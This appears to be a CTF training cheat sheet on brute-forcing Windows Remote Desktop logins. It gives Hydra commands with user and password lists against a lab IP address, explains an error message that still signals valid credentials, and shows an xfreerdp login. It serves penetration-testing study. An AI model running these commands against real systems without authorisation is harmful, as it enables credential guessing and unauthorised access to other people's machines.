> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/exploitation/password-attacks/network-services/rdp.md).

# RDP

## Cracking RDP

### What is RDP

Remote Desktop Protocol — Microsoft's GUI remote access protocol for Windows. Gives a full desktop session on a remote Windows machine. Runs on TCP/UDP port 3389 by default.

***

### Brute-force with Hydra

```bash
# Basic
hydra -L user.list -P password.list rdp://10.129.42.197

# RDP doesn't handle many parallel connections — always reduce threads
hydra -L user.list -P password.list rdp://10.129.42.197 -t 4
```

> **Important:** Hydra may return `account not active for remote desktop` even when credentials are correct. This means the password is right but RDP access isn't enabled for that specific user — the credentials are still valid and worth keeping.

***

### Connect after finding credentials

```bash
xfreerdp /v:10.129.42.197 /u:user /p:password
```

Accept certificate prompt with `Y`.

***

### Attack Flow

```bash
# Step 1 — brute-force
hydra -L user.list -P password.list rdp://10.129.42.197 -t 4

# Step 2 — connect
xfreerdp /v:10.129.42.197 /u:user /p:password
```


---

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